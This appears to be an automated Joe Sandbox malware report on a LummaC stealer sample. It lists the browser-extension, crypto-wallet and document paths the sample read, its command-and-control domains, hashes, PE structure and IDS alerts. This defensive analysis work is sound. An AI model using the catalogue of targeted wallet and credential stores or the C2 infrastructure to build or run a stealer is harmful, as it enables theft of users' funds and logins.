Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior

Source: Yara match

File source: Process Memory Space: x6VtGfW26X.exe PID: 6940, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: x6VtGfW26X.exe PID: 6940, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	1 OS Credential Dumping	861 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	233 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
x6VtGfW26X.exe	58%	Virustotal		Browse
x6VtGfW26X.exe	65%	ReversingLabs	Win32.Trojan.Symmi
x6VtGfW26X.exe	100%	Avira	TR/Crypt.XPACK.Gen
x6VtGfW26X.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
fancywaxxers.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fancywaxxers.shop	104.21.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	false		high
wholersorie.shop	false		high
fancywaxxers.shop	true	Avira URL Cloud: malware	unknown
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://fancywaxxers.shop/api	true	Avira URL Cloud: malware	unknown
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	x6VtGfW26X.exe, 00000000.00000003.1824563850.0000000001240000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1821734147.000000000123E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	x6VtGfW26X.exe, 00000000.00000003.1726707049.0000000005A00000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738963954.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726780789.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738836510.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738674715.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	x6VtGfW26X.exe, 00000000.00000003.1726707049.0000000005A00000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738963954.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726780789.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738836510.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738674715.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	x6VtGfW26X.exe, 00000000.00000003.1754316169.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	x6VtGfW26X.exe, 00000000.00000003.1726780789.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	x6VtGfW26X.exe, 00000000.00000003.1726707049.0000000005A00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	x6VtGfW26X.exe, 00000000.00000003.1726780789.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/	x6VtGfW26X.exe, 00000000.00000003.1824627069.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	x6VtGfW26X.exe, 00000000.00000003.1754316169.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.112.1	fancywaxxers.shop	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582690
Start date and time:	2024-12-31 09:42:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	x6VtGfW26X.exe renamed because original name is a hash value
Original Sample Name:	c17d20e6be092651357a8b466257b795.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:43:02	API Interceptor	8x Sleep call for process: x6VtGfW26X.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.112.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	beammp.com/phpmyadmin/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fancywaxxers.shop	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	random.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	heteronymous.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.136.42
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	zku4YyCG6L.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	hca5qDUYZH.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	DIS_37745672.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://nutricarm.es/wp-templates/f8b83.php	Get hash	malicious	Unknown	Browse	104.21.96.1
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	172.67.157.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.112.1
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.112.1
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Set-up.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	104.21.112.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	X-mas_2.3.2.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	ReploidReplic.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.112.1

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948229887621716
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	x6VtGfW26X.exe
File size:	1'883'648 bytes
MD5:	c17d20e6be092651357a8b466257b795
SHA1:	042cc7fc9e7a36bf4989b6be834b0d0d95557c89
SHA256:	c35fd8893480f059a48cabc6fc0a956106f55ec96d3fa728fab1bdb4b57c1705
SHA512:	c10a8fce1342439c1beead880d9f8756127ba18061333dc897a28ba40de8a237b75d827f31d02158238f02af69920bb60a9616cfae45d1601e4f10b19a651623
SSDEEP:	24576:B/6qQMUF+lvjGV/Afiy3UK8pphCA1WciDk/ZUakSGMvp7WoCM33KgpPKAv9+1ujJ:BCR+R13Uz0ciD2GMvp7WtM3J39BHwM
TLSH:	8F9533A04F1AAC6BF4EE227091A3C293F9F7B54065CDD7C4FBD9243096A636838DD509
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L... .pg..............................J...........@...........................J...........@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8aa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67701720 [Sat Dec 28 15:20:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA6C44F3F6Ah
setl byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FA6C44F5F65h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26000	37567f68f3bc0ffaaf1c63c68d2e6a4c	False	0.9999421772203947	data	7.982000691785383	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x400	fe67bb2a9df3150b9c94de8bd81ed8a0	False	0.3603515625	data	5.186832724894366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2b2000	0x200	e9d4dd75a481b2e6368f0d5de2f68d49	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yojtimdr	0x307000	0x1a2000	0x1a2000	5f24d958da66408207fdf4cefeef98bd	False	0.994666870701256	data	7.953909419587561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yoycphiu	0x4a9000	0x1000	0x400	b2d1ec042ef1c349bb0a40fd3dcce56d	False	0.75	data	5.863831487470667	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4aa000	0x3000	0x2200	509b693722c977bac204bd1b5623fd43	False	0.09880514705882353	DOS executable (COM)	1.1088013999111535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T09:43:02.129169+0100	2058656	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)	1	192.168.2.4	50288	1.1.1.1	53	UDP
2024-12-31T09:43:02.644820+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.4	49730	104.21.112.1	443	TCP
2024-12-31T09:43:02.644820+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.112.1	443	TCP
2024-12-31T09:43:03.125539+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.112.1	443	TCP
2024-12-31T09:43:03.125539+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.112.1	443	TCP
2024-12-31T09:43:03.623054+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.4	49731	104.21.112.1	443	TCP
2024-12-31T09:43:03.623054+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.112.1	443	TCP
